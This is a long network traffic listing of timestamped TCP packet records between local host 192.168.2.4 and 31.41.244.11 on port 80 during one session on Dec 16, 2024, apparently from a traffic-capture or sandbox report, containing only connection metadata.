Dec 16, 2024 21:02:53.311968088 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.312016010 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.312091112 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.312323093 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.313190937 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.313236952 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.313275099 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.313321114 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.314565897 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.314613104 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.314749956 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.314798117 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.315853119 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.315907955 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.315957069 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.316203117 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.317276001 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.317329884 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.317353010 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.317692995 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.318548918 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.318614006 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.318707943 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.318836927 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.319968939 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.320041895 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.320055962 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.320213079 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.321309090 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.321358919 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.321419001 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.321463108 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.322580099 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.322626114 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.322710037 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.322753906 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.323951006 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.323999882 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.324085951 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.324131012 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.325288057 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.325311899 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.325346947 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.325381041 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.326653957 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.326703072 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.326725006 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.326769114 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.328603983 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.328655958 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.328706026 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.328749895 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.329516888 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.329564095 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.329689980 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.329735041 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.330771923 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.330826044 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.330836058 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.330866098 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.416182995 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.416373014 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.416383028 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.416470051 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.416914940 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.417105913 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.417167902 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.417251110 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.418301105 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.418416977 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.418473959 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.419529915 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.419581890 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.443511009 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.443619967 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.443638086 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.443660975 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.443949938 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.443991899 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.444062948 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.444101095 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.445089102 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.445132971 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.445221901 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.445256948 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.446171999 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.446208954 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.446290016 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.446331024 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.447458982 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.447501898 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.447567940 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.447603941 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.448487043 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.448628902 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.448695898 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.448744059 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.449640989 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.449690104 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.449788094 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.450021029 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.450778961 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.450851917 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.450901031 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.451906919 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.451948881 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.452070951 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.452117920 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.453051090 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.453094959 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.453178883 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.453222990 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.454278946 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.454387903 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.454433918 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.455373049 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.455419064 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.455555916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.455600023 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.456507921 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.456552029 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.456595898 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.456640959 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.457664013 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.457706928 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.457756042 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.457798004 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.458791018 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.458875895 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.458924055 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.459906101 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.459954977 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.460055113 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.460103989 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.461103916 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.461175919 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.461175919 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.461225033 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.462213039 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.462265015 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.462389946 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.462438107 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.463469028 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.463524103 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.463572979 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.463623047 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.464757919 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.464817047 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.464817047 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.464869022 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.465639114 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.465691090 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.465826035 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.465874910 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.466809988 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.466862917 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.466943979 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.466995001 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.467943907 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.468003988 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.468053102 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.468102932 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.469090939 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.469142914 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.469187021 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.469238043 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.470347881 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.470401049 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.470516920 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.470567942 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.471504927 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.471579075 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.471617937 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.471667051 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.472683907 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.472708941 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.472734928 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.472769976 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.473684072 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.473733902 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.473845959 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.473895073 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.474797010 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.474848032 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.474890947 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.474940062 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.475944996 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.475996971 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.476042032 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.476093054 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.477080107 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.477130890 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.477215052 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.477266073 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.478214025 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.478270054 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.478313923 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.478364944 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.479418993 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.479470015 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.479495049 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.479543924 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.480489969 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.480545044 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.480596066 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.480645895 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.481690884 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.481743097 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.481795073 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.481846094 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.482882977 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.482933044 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.483023882 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.483072996 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.484277010 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.484327078 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.484395981 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.484445095 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.485311985 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.485364914 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.485498905 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.485551119 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.486244917 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.486300945 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.486366034 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.486414909 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.487415075 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.487461090 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.487481117 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.487512112 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.488531113 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.488585949 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.488641977 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.488692045 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.489785910 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.489836931 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.489842892 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.489891052 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.490858078 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.490909100 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.490992069 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.491041899 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.492003918 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.492077112 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.492086887 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.492139101 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.493100882 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.493150949 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.493221998 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.493273973 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.494251013 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.494302034 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.494314909 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.494369030 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.495405912 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.495460033 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.495547056 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.495596886 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.496582985 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.496633053 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.496656895 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.496706963 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.497685909 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.497708082 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.497735023 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.497767925 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.498912096 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.498964071 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.499007940 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.499058008 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.500081062 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.500134945 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.608241081 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.608303070 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.608514071 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.608827114 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.608897924 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.609127045 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.609911919 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.610023022 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.610088110 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.610089064 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.611021996 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.611084938 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.635641098 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.635685921 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.635996103 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.636148930 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.636214972 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.636219025 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.636276960 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.637471914 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.637523890 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.637528896 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.637579918 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.638343096 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.638520002 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.638578892 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.639427900 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.639481068 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.639550924 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.639592886 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.640535116 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.640588999 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.640670061 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.640722990 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.641618967 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.641673088 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.641736031 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.641788960 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.642721891 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.642846107 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.642903090 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.643826962 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.643881083 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.643944025 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.644010067 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.644943953 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.645011902 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.645071983 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.645116091 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.646017075 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.646107912 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.646161079 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.647226095 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.647243023 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.647278070 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.647332907 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.648195028 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.648333073 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.648386002 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.649348974 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.649398088 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.649435997 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.649482965 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.650530100 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.650600910 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.650651932 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.651570082 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.651621103 CET	49864	80	192.168.2.4	31.41.244.11
